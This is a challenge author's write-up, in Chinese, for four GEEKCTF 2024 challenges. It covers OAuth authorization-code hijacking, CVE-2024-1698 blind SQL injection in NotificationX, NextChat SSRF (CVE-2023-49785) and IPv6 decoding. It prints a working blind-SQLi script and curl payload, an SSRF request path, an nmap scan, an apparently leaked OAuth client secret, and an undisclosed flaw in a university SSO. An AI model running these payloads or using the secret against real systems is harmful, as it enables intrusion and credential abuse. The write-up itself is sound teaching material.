GEEKCTF 2024部分Writeup
很荣幸能为这次GEEKCTF 2024既SJTUCTF 2024出题。
这次我一共出了3道Web题:OAuth、SafeBlog1、Next GPT,1道Misc题:1fc7。出题的方向主要还是偏简单,希望更多人能做出来,虽然最终校内做出来的还是很少(或者说没人来做Web)。
OAuth
My notes management site is using OAuth authentication now, so I can open it to the Internet with peace of mind.
日志泄露
打开网页,主页有View Notes链接,点击后跳转到OAuth登录界面(Notes功能同样需要登录)。如果有SSO账号,登录后会提示不是管理员用户。
查看网页源代码,发现meta description和控制台中都提醒看网页head部分。
提示一是没有SSO账号也能完成此题。
提示二是html头部的sitemap.xml文件,打开后发现有code.php文件,直接访问提示需要code参数,随意填写code参数后提示log saved,之后提示登录失败。
此处log是粗体的,对应sitemap中最后一个链接的提示。
访问/log目录,能看到一条GET请求的日志,提示是记录了管理员的访问记录。
authorize_code劫持
由于带code参数访问code.php时,需要等待5秒后服务端才会跳转到oauth.php,并用这个authorize_code向OAuth服务器请求令牌,因此我们可以利用这5秒的时间差,在管理员之前先带管理员账号的code参数访问oauth.php。
(其实此OAuth服务器的授权码有效期为1分钟,且日志中的code并不会在5秒后被使用掉,因此我们只需在访问/log后一分钟内,请求code.php即可,或直接访问log中的路径也可)
使用管理员的code,登录进管理员的账号后,可以看到flag格式。但是flag需要获取管理员的SSO账号名称,但网站不显示。因此我们要考虑对管理员的授权码的进一步利用。
重新登录,发现OAuth登录时的authroize_url为https://jaccount.sjtu.edu.cn/oauth3/authorize?response_type=code&client_id=ZjpxY3dA6fpkp7o4kM0g&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&scope=openid
回顾OAuth的登录流程,服务端要获得管理员的SSO账号名称,需要用用户的authorize_code和client_id、client_secret去请求token_url得到access_token。client_id在上述authroize_url中可以得到,但是client_secret仍然未知。
client_secret泄露
根据管理员账号登录后,有secret加了下划线的提示,此时我们可以考虑client_secret泄露。在github上搜索client_id的值,可以搜到young1881/SJTUer项目使用了此client_id,并泄露了对应client_secret。
得到authorize_code、client_id、client_secret后,我们就可以充当服务端,向OAuth服务器请求access_token来获取用户信息了。获取token的API和RFC 6749给出的示例一样,将authroize_url结尾的/authorize换成/token即可。
发送以下请求:
POST https://jaccount.sjtu.edu.cn/oauth3/token
grant_type=authorization_code&code=8edfcd24fd074f2faedbb0982fbe74bf&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079
其中grant_type=authorization_code是RFC 6749的规定。code是题目/log页面获取的管理员的授权码,redirect_uri需要和authorize_url中的redirect_uri一致,client_id和client_secret填写获取到的值即可。
获取到的回复格式如下:
{"access_token":"5f42337796b1b73e71ad9db0cfd82304","refresh_token":"4ad3742daf852219059b386b7c58eb8c","id_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJaanB4WTNkQTZmcGtwN280a00wZyIsImlzcyI6Imh0dHBzOi8vamFjY291bnQuc2p0dS5lZHUuY24vb2F1dGgyLyIsInN1YiI6Im5pY2RhdGEiLCJleHAiOjE3MTA0MzE5MTQsImlhdCI6MTcxMDQzMDExNCwibmFtZSI6Iue9kee7nOS_oeaBr-S4reW_gyIsImNvZGUiOiIiLCJ0eXBlIjoidGVhbSJ9.JpCbW0bP_V_7huFQ2jbOhSfD8nreGFKPBARrfTtbxlw","token_type":"Bearer","expires_in":1799}
其中id_token是题目使用的JAccount对OpenID Connect的支持,直接在此步骤返回了用户的信息。将此JWT解密后即可在sub字段中获得管理员的SSO用户名。再按照网站登录管理员账号后的flag提示进行哈希(sha1(sha256(nicdata)))即可获得flag。
{ "aud": "ZjpxY3dA6fpkp7o4kM0g", "iss": "https://jaccount.sjtu.edu.cn/oauth2/", "sub": "nicdata", "exp": 1710431914, "iat": 1710430114, "name": "网络信息中心", "code": "", "type": "team" }
另一种方法是继续走标准的OIDC流程。将上一步获取到的access_token用于访问用户信息API。这种解法就需要查阅开发文档了。在搜索引擎搜索authorize_url、token_url或者logout_url的值都可以搜到该SSO的开发文档。其中提供了获取用户信息API的访问示例。
发送以下请求:
GET https://api.sjtu.edu.cn/v1/me/profile?access_token=5f42337796b1b73e71ad9db0cfd82304
或者
POST https://api.sjtu.edu.cn/v1/me/profile
Authorization: Bearer 5f42337796b1b73e71ad9db0cfd82304
其中access_token或者Authorization: Bearer填写的是获取到的access_token。
获取到的回复格式如下:
{"errno":0,"error":"success","total":0,"entities":[{"account":"nicdata","name":"网络信息中心","kind":"canvas.profile","timeZone":0}]}
其中account字段就是管理员的SSO用户名。
非预期解
在用authorize_code向https://jaccount.sjtu.edu.cn/oauth2/token
请求access_token时,服务器仅校验了redirect_uri需要和authorize_url中的redirect_uri一致,但并没有校验此时的client_id是否和请求authorize_code时的client_id一致,这使得使用任意一组拥有openid权限的有效client_id、client_secret,同样可以使用authorize_code请求得到access_token,而并不一定要获得题目系统使用的client_secret。
你可以通过在Github上查找其他泄露的client_id和client_secret(已知至少有一个),或是使用自己通过合法渠道获取的JAccount系统的client_id和client_secret,并用/log泄露的authorize_code来完成此题的后半部分,获取管理员的SSO用户名。
这属于该认证系统的一个0day问题。此漏洞属于设计缺陷,但因为应用系统会在请求access_token时带上正确的redirect_uri才能获取到access_token,所以仅会影响到泄露了authorize_code的特定应用,或是攻击者利用其他泄露的client_secret请求access_token获取其他信息,而无法使用此authorize_code登录任意应用。
SafeBlog1
Just finished setting up my blog. Oops there’s a deadline tonight, moving on to my assignments now.
打开网站是Wordpress安装后的默认主题和页面。
左下角有个通知提醒,显示用了NotificationX插件。
搜索相关漏洞,找到CVE-2024-1698,复现漏洞进行SQL盲注即可。
curl "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
要注意由于没有开启改写URL,需要搜索/抓包确认api的路径,而不是直接用网上的payload。
以下是供参考的poc脚本,三个payload分别是获取当前数据库的表名列表(并找到其中的fl6g表)、获取fl6g表的列名列表(只有一列nam3)、获取fl6g表nam3列的内容。
import requests import string delay = 5 url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" ans = "" table_name = "" #fl6g column_name = "" #nam3 session = requests.Session() for idx in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes(table_name,'UTF-8').hex()})),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name}))from({table_name})),{idx},1))<{mid},SLEEP({delay}),null)-- -" resp = session.post(url=url, data = { "nx_id": 1337, "type": payload1 # switch payload }) if resp.elapsed.total_seconds() > delay: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print(ans)
本题定位是简单级别的题目,因此使用了获取表名、列名、字段的入门级盲注路径。有一些选手试图爆破管理员用户的密码hash,不过由于本题不是动态容器题,为了防止选手对数据库进行修改,除了漏洞所在的wp_nx_stats之外(漏洞使用了INSERT和UPDATE语句),其他的数据表只保留了SELECT权限,这种情况下即使拿到了管理员密码也无法登录进Wordpress后台。
另外,由于Wordpress的奇妙机制,如果有多个线程同时对本题漏洞点进行时间盲注,会导致sleep延迟的叠加,导致结果不准确。很抱歉验题的时候没有发现这个问题,只能做题的时候找个没人的时间了)
Next GPT
They say CTF held after year 3202 must contain a challenge of GPT.
Access Code: 20244202
打开网页,输入访问密码,进入界面。
搜索NextChat的漏洞,发现CVE-2023-49785,影响版本≤v2.11.2,题目版本正好是2.11.2,可直接利用。
尝试和GPT对话,发现回复是几个固定的文本。有一定概率获得提示:“I did tell GPT the flag, but I made an IP control of this api, so I’m the only person that can request it locally.”
尝试询问flag,提示“I’m sorry, I cannot assist with this request.”
可知需要用本地IP地址访问接口。使用CVE-2023-49785的SSRF漏洞即可。
尝试询问flag,并抓包将和GPT对话时请求的/api/openai/v1/chat/completions接口请求改为/api/cors/http/localhost/api/openai/v1/chat/completions,利用SSRF漏洞通过本地IP连接,即可得到flag。
本题并没有使用LLM,而是模拟了一个completions接口,从其提示中也可以看出来:
作者希望选手能从大量包含GPT的CTF题目中解放思维,于是用一道Web题提醒选手GPT题目不一定是Misc,本身还可能是Web题。
另外由于NextChat只在文档中写明了使用docker的部署方法,因此实际上需要通过SSRF访问的是本地的3000端口。题目通过判定/api/cors/http/接口,使得localhost:3000和localhost的形式都可以获取到flag。
1fc7
Imagine that the Internet is a complex plane, and every IP address is a point on the plane.
Given my coordinates (1.4588509144602441503773978e-125, i*7.0641610097882145623171291e-304), can you locate my address?
对题目名称中的1fc7进行转换,int('1fc7',16)
得到8135。
搜索“8135 complex”就可以找到RFC 8135,一个RFC发布的愚人节文档。
第7节介绍了如何用IPv6格式来表示一个复平面坐标,那么反过来用复平面坐标可以得到一个IPv6地址。
将题目给的坐标进行转换:
1.4588509144602441503773978e-125 转换为16进制就是 2603C023C0004D13
7.0641610097882145623171291e-304 转换为16进制就是 00FF00FF00090008
拼合得到IPv6地址2603:c023:c000:4d13:ff:ff:9:8。有很多选手不确定两个坐标的先后顺序,但根据常识2024年开放使用的互联网IPv6段只有2000::/3,因此很容易确定两段的先后顺序。
访问 http://[2603:c023:c000:4d13:ff:ff:9:8],提示flag不在此端口。
对此IPv6进行端口扫描:nmap -6 -sS -P 1-65535 2603:c023:c000:4d13:ff:ff:9:8
,或者随意猜测一下,可发现8135端口开放。
访问http://[2603:c023:c000:4d13:ff:ff:9:8]:8135,即可获得flag。
有不少选手直接将IPv6地址(正确的和错误的)交做flag,但IPv6光正常表示方法就有好多种,为什么不访问试试呢(
这篇文章写得深入浅出,让我这个小白也看懂了!
看writeup受教了,这个比赛质量真的好高